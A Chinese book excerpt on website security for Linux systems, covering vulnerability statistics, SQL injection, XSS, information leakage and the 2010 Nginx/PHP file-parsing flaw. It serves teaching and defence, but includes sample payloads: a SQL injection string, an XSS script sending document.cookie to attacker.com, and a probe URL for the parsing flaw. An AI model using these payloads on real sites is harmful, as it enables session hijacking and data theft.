网络层安全和系统层安全保障都是构建纵深防御体系不可或缺的重要组成部分；保障Linux应用安全是另一个异常重要的纵深防御体系组成部分。有些业务必须要对全网开放，例如一个电子商务网站或者联机游戏服务器。这时候，仅仅依靠网络防火墙就显得力不从心了，而必须依赖应用本身的安全机制。

简化的网站架构和数据流向

一个简化的网站架构和数据流向如图8-1所示：

图8-1 简化的网站架构和数据流向

在现代大型网站系统中，往往有较多组件，数据流向一般也比较复杂。为了说明与网站相关的应用安全，笔者对网站架构和数据流向做了简化和抽象，以便能够将安全目标聚焦在核心和通用组件上。图8-1正是这种简化和抽象的结果。其中，图8-1中的用户，既包括合法使用网站的人（他们按照网站产品设计的功能和流程使用服务），也包括试图入侵网站的人（他们试图通过网站漏洞来实现STRIDE威胁分析模型中的各种破坏）。本章的后续内容，主要是按照图8-1的网站架构和数据流向进行安全相关讲解。

主要网站漏洞解析

在360公司2018年1月23日发布的《2017中国网站安全形势分析报告》中指出，根据360网站安全检测平台扫描出高危漏洞的情况，跨站脚本攻击漏洞的扫出次数和漏洞网站数都是最多的，稳居排行榜榜首。其次是SQL注入漏洞、SQL注入漏洞（盲注）、PHP错误信息泄露等漏洞类型。2017年1-10月份高危漏洞TOP10如表8-1所示：

表8-1 1-10月份高危漏洞TOP10

漏洞名称	扫出次数(万)	漏洞网站数（万）
跨站脚本攻击漏洞	91.7	7.6
SQL注入漏洞	18.8	1.7
SQL注入漏洞（盲注）	18.0	2.3
PHP错误信息泄露	9.2	0.7
数据库运行时错误	5.3	0.5
跨站脚本攻击漏洞(路径)	3.7	1.1
使用存在漏洞的JQuery版本	3.7	1.8
MS15-034 HTTP.sys远程代码执行	1.8	0.9
发现SVN版本控制信息文件	1.5	0.2
跨站脚本攻击漏洞（文件）	1.3	0.2

SQL注入漏洞最多，占比为32.1%，其次是命令执行和信息泄露，占比分别为27.4%和10.5%。占比较高的还有弱口令（10.2%）、代码执行（4.3%），具体漏洞类型分布请见图8-2：

图8-2 2017年补天平台收录网站漏洞类型分布图

从表8-1和图8-2中，我们可以看到，注入类漏洞、跨站脚本、信息泄露是最需要关注的3种常见高危漏洞。在国家计算机网络应急技术处理协调中心在2018年4分发布的《2017年我国互联网网络安全态势综述》也指出，“2017年，CNCERT抽取1000余家互联网金融网站进行安全评估检测，发现包括跨站脚本漏洞（占高危漏洞26.1%）、SQL注入漏洞（占高危漏洞22.4%）等网站高危漏洞400余个，存在严重的用户隐私数据泄露风险。”

另外，还需要特别关注一类较严重的漏洞：文件解析漏洞。

注入漏洞

注入（Injection）漏洞是指因为应用程序未对输入的数据进行严格校验而导致执行了非预期的命令或者进行了未经授权的数据访问的漏洞。

几乎任何数据源都能成为注入载体，包括环境变量、所有类型的用户、参数、外部和内部Web服务。当攻击者可以向解释器发送恶意数据时，注入漏洞产生。注入漏洞十分普遍，尤其是在遗留代码中。注入漏洞通常能在SQL、LDAP、XPath或是NoSQL查询语句、操作系统命令、XML解析器、简单邮件传输协议（Simple Mail Transfer Protocol，SMTP）包头、表达式语句及对象关系映射（Object Relational Mapping，ORM）查询语句中找到。注入能导致数据丢失、破坏或泄露给无授权方，也可能会缺乏可审计性或是拒绝服务。注入有时甚至能导致主机被完全接管。

最常见的注入漏洞包括SQL注入漏洞、命令注入漏洞这2大类。

下面给出SQL注入漏洞的示例：

场景1：应用程序在下面存在脆弱性的SQL语句的构造中使用不可信数据：

String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";

场景2：同样的，框架应用的盲目信任仍然可能导致查询语句的漏洞。（例如，Hibernate查询语言）：

Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" + request.getParameter("id") + "'");

在以上这两个案例中，攻击者在浏览器中将"id"参数的值修改成：’ or ‘1’='1。例如：

http://example.com/app/accountView?id=' or '1'='1

这样查询语句的含义就变成了从accounts表中返回所有的记录。

更危险的攻击甚至可能会导致数据被篡改甚至是数据库中的存储过程被非法调用。

跨站脚本漏洞

跨站脚本（Cross Site Scripting，XSS）漏洞是指网站没有对用户提交数据进行转义处理或者过滤不足导致恶意攻击者可以添加一些代码嵌入到Web页面中去而使别的用户访问就会执行相应嵌入代码的漏洞。

存在三种XSS类型，通常都是用户的浏览器：

反射式XSS：应用程序或API将未经验证和未经转义的用户输入作为HTML输出的一部分。一个成功的攻击可以让攻击者在受害者的浏览器中执行任意的HTML和JavaScript。
存储式XSS：应用或者API将未净化的用户输入存储下来了，并在后期在其他用户或者管理员访问时的页面上展示出来。存储型XSS一般被认为是高危或严重的风险。
基于DOM的XSS：会动态的将攻击者可控的内容加入页面的JavaScript框架、单页面程序或API存在这种类型的漏洞。

典型的XSS攻击可导致盗取Session、账户、绕过多因子认证（Multi-Factor Authentication，MFA）、DIV替换、对用户浏览器的攻击（例如：恶意软件下载、键盘记录）以及其他用户侧的攻击。

下面给出XSS漏洞的示例：

应用程序在下面HTML代码段的构造中使用未经验证或转义的不可信的数据：

(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";

攻击者在浏览器中修改"CC"参数为如下值：

'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'.

这个攻击导致受害者的会话ID被发送到攻击者的网站，使得攻击者能够劫持用户当前会话。

注意：攻击者同样能使用跨站脚本漏洞攻破应用程序可能使用的任何跨站请求伪造（Cross-Site Request Forgery，CSRF）防御机制。

信息泄露

信息泄露是指应用程序把敏感信息展示给了未授权用户。这通常包括以下场景：

应用程序未对出错信息加以封装而直接展示给用户，导致泄露了应用程序版本、配置信息、调用的第三方接口或者数据库连接字符串等。如图8-3所示，就是某知名电子商务网站的报错信息：

图8-3 某知名电子商务网站的报错信息

从图8-3中，我们可以看到，在该报错信息中暴露了应用程序开发语言（Microsoft VBScript）、数据库驱动引擎（SQLOLEDB）、数据库服务器地址、访问账号（UID、PWD）。黑客可以借助以上信息进行二次利用而对网站安全产生极大的威胁。

因为配置或者操作不当导致源代码、应用程序配置文件可被直接下载。例如，把Web可访问目录中的config.php复制成config.php.bak，而导致可直接下载config.php.bak。如图8-4所示就是某网站安全软件拦截信息：

图8-4 某网站安全软件拦截的对.bak文件的扫描

另一个典型的例子是.svn目录未做过滤而导致的源代码泄露。

机密数据未做强加密或者未使用强散列算法存储而导致被恶意读取后散播和利用。例如，在日志或者数据库中明文记录完整信用卡卡号、用户账号和密码原文等，都极其可能带来信息泄露的问题。

文件解析漏洞

在2010年曾经发生过一个Nginx解析的问题，导致大量基于Nginx+PHP的网站被入侵。

漏洞介绍：Nginx是一款高性能的Web服务器，使用非常广泛，其不仅经常被用作反向代理，也可以非常好的支持PHP的运行。默认情况下可能导致服务器错误的将任何类型的文件以PHP的方式进行解析，这将可能导致严重的安全问题，例如恶意的攻击者通过上传含有Webshell功能的.jpg结尾的文件，而用PHP去解析和执行，则使得恶意的攻击者可能攻陷支持PHP的Nginx服务器。

漏洞分析：Nginx默认以cgi的方式支持PHP的运行，譬如在配置文件当中：

location ~ \.php$ {
  
	    root html;
  
	    fastcgi_pass 127.0.0.1:9000;
  
	    fastcgi_index index.php;
  
	    fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;
  
	    include fastcgi_params;
  
	}

以cgi的方式支持对PHP的解析，location对请求进行选择的时候会使用URI环境变量进行选择，其中传递到后端Fastcgi的关键变量SCRIPT_FILENAME由nginx生成的$fastcgi_script_name决定，而通过分析可以看到$fastcgi_script_name是直接由URI环境变量控制的，这里就是产生问题的点。而为了较好的支持PATH_INFO的提取，在PHP的配置选项里存在cgi.fix_pathinfo选项，其目的是为了从SCRIPT_FILENAME里取出真正的脚本名。

那么假设存在一个http://www.xxx.com/xxx.jpg，我们以如下的方式去访问

http://www.xxx.com/xxx.jpg/xxx.php

将会得到一个URI /xxx.jpg/xxx.php。

经过location指令，该请求将会交给后端的fastcgi处理，Nginx为其设置环境变量SCRIPT_FILENAME，内容为/scripts/xxx.jpg/xxx.php。而在其他的WebServer如Lighttpd当中，我们发现其中的SCRIPT_FILENAME被正确的设置为 /scripts/xxx.jpg 所以不存在此问题。

后端的fastcgi在接受到该选项时，会根据fix_pathinfo配置决定是否对SCRIPT_FILENAME进行额外的处理，一般情况下如果不对fix_pathinfo进行设置将影响使用PATH_INFO进行路由选择的应用，所以该选项一般配置开启。PHP通过该选项之后将查找其中真正的脚本文件名字，查找的方式也是查看文件是否存在，这个时候将分离出SCRIPT_FILENAME和PATH_INFO分别为 /scripts/xxx.jpg和xxx.php。最后，以/scripts/xxx.jpg作为此次请求需要执行的脚本，攻击者就可以实现让nginx以php来解析任何类型的文件了。

访问一个nginx来支持php的站点，在一个任何资源的文件如robots.txt后面加上/xxx.php，这个时候你可以看到如下的区别：

访问http://www.xxx.com/robots.txt

       HTTP/1.1 200 OK
  
	Server: nginx/0.6.32
  
	Date: Thu, 20 May 2010 10:05:30 GMT
  
	Content-Type: text/plain
  
	Content-Length: 18
  
	Last-Modified: Thu, 20 May 2010 06:26:34 GMT
  
	Connection: keep-alive
  
	Keep-Alive: timeout=20
  
	Accept-Ranges: bytes

访问http://www.xxx.com/robots.txt/xxx.php

	HTTP/1.1 200 OK
  
	Server: nginx/0.6.32
  
	Date: Thu, 20 May 2010 10:06:49 GMT
  
	Content-Type: text/html
  
	Transfer-Encoding: chunked
  
	Connection: keep-alive
  
	Keep-Alive: timeout=20
  
	X-Powered-By: PHP/5.2.6

其中的Content-Type的变化说明了后端负责解析的变化，该站点就可能存在漏洞。

本文内容来自作者图书作品《Linux 系统安全：纵深防御、安全扫描与入侵检测》，点击购买。

创作场景

Linux 系统安全（五）：网站安全与漏洞